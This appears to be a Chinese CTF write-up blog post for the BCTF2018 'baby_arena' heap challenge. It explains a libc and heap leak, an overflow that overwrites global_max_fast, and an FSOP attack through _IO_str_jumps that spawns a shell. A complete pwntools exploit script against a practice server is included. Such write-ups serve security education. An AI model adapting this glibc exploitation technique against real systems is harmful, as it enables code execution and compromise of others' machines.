BCTF2018 baby_arena wp

本文介绍了一个名为Baby_Arena的CTF题目的漏洞分析过程。通过利用内存泄漏和缓冲区溢出,实现了任意地址写操作并最终获得了shell。详细步骤包括构造vtable指向特定函数、设置系统调用地址等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
保护开的并不多。

create
在这里插入图片描述puts阶段似乎是可以直接把libc泄露出来

在这里插入图片描述
size大小

能创建十个chunk

delete
在这里插入图片描述
正常释放。

没有清空chunk中的内容,所以我们可以通过create函数直接泄露libc。

还有个login函数
在这里插入图片描述

函数在输入名字的时候存在溢出,可以做到一个任意地址写一个比较大的数字。

那么我们的利用方法就是把该泄露的泄露之后,我们攻击global_max_fast,申请很大的chunk,释放挂在_IO_list_all上面,做一个FSOP。

要注意虽然好像原题目给的是2.23的libc,但是我打的是buu的环境,用的是2.27的libc,在FSOP上有差别。

1、为绕过_IO_all_lokcp中的检查进入到_IO_OVERFLOW,需构造
_mode <= 0
_IO_write_ptr > _IO_write_base

2、构造vtable = _IO_str_jumps - 0x8,使_IO_str_finish函数替代_IO_OVERFLOE函数,(因为_IO_str_finish在_IO_str_jumps中的偏移为0x10,而_IO_OVERFLOW在原vtable中的偏移为0x18)
3、构造fp -> _IO_buf_base作为参数
4、构造fp->flags & _IO_USER_BUF == 0
5、构造fp->_s._free_buffer为system或one_gadget (_free_buffer = fp + 0xe8)
6、调用_IO_flush_all_lokcp函数,触发(fp->_s._free_buffer) (fp->_IO_buf_base)
abort(如触发malloc报错时)
exit
从main函数返回

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context.log_level = 'debug'


#r = process('./baby_arena')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r = remote("node4.buuoj.cn", 27899)
libc = ELF("./64/libc-2.27.so")

ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def create(size,note):
    r.recvuntil('exit\n')
    r.sendline('1')
    r.recvuntil('Pls Input your note size\n')
    r.sendline(str(size))
    r.recvuntil('Input your note\n')
    r.sendline(note)

def dele(num):
    r.recvuntil('exit\n')
    r.sendline('2')
    r.recvuntil('Input id:\n')
    r.sendline(str(num))

def login(name):
    r.recvuntil('exit\n')
    r.sendline('3')
    r.recvuntil('Please input your name\n')
    r.send(name)
    r.recvuntil('1.admin\n')
    r.sendline('1')

def get_IO_str_jumps():
   IO_file_jumps_offset = libc.sym['_IO_file_jumps']
   IO_str_underflow_offset = libc.sym['_IO_str_underflow']
   for ref_offset in libc.search(p64(IO_str_underflow_offset)):
       possible_IO_str_jumps_offset = ref_offset - 0x20
       if possible_IO_str_jumps_offset > IO_file_jumps_offset:
          print possible_IO_str_jumps_offset
          return possible_IO_str_jumps_offset

def db():
    gdb.attach(r)
    pause()

create(0x450,'0'*0xa0) #0
create(0x450,'1'*0xa0) #1
dele(0)
create(0x450,'0') #0

malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
bin_sh = libc_base + libc.search("/bin/sh\x00").next()
_IO_str_jumps_addr = libc_base + get_IO_str_jumps()
global_max_fast = libc_base + 0x3ed940
one_gadget = libc_base + 0x449d3
lg("libc_base")
lg("global_max_fast")
lg("_IO_str_jumps_addr")
lg("system_addr")

create(0x100,'3'*0x50) #2
create(0x100,'4'*0x50) #3
create(0x100,'4'*0x50) #4
dele(2)
dele(3)

create(0x100,'A') #2
r.recvuntil('\n')
heap_base = r.recvuntil('\n')[:-1]
heap_base = u64(heap_base + (8 - len(heap_base)) * '\x00')-0x921 - 0x220
lg("heap_base")

fake_file =p64(0)*3
fake_file += p64(233)
fake_file += p64(0) + p64(bin_sh)
fake_file += p64(0) * 19
fake_file += p64(_IO_str_jumps_addr - 0x8)
fake_file += p64(0) 
fake_file += p64(system_addr)

create(5170,fake_file) #3

payload = p64(one_gadget) +p64(global_max_fast-8)

login(payload)
dele(3)

r.sendline('4')

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值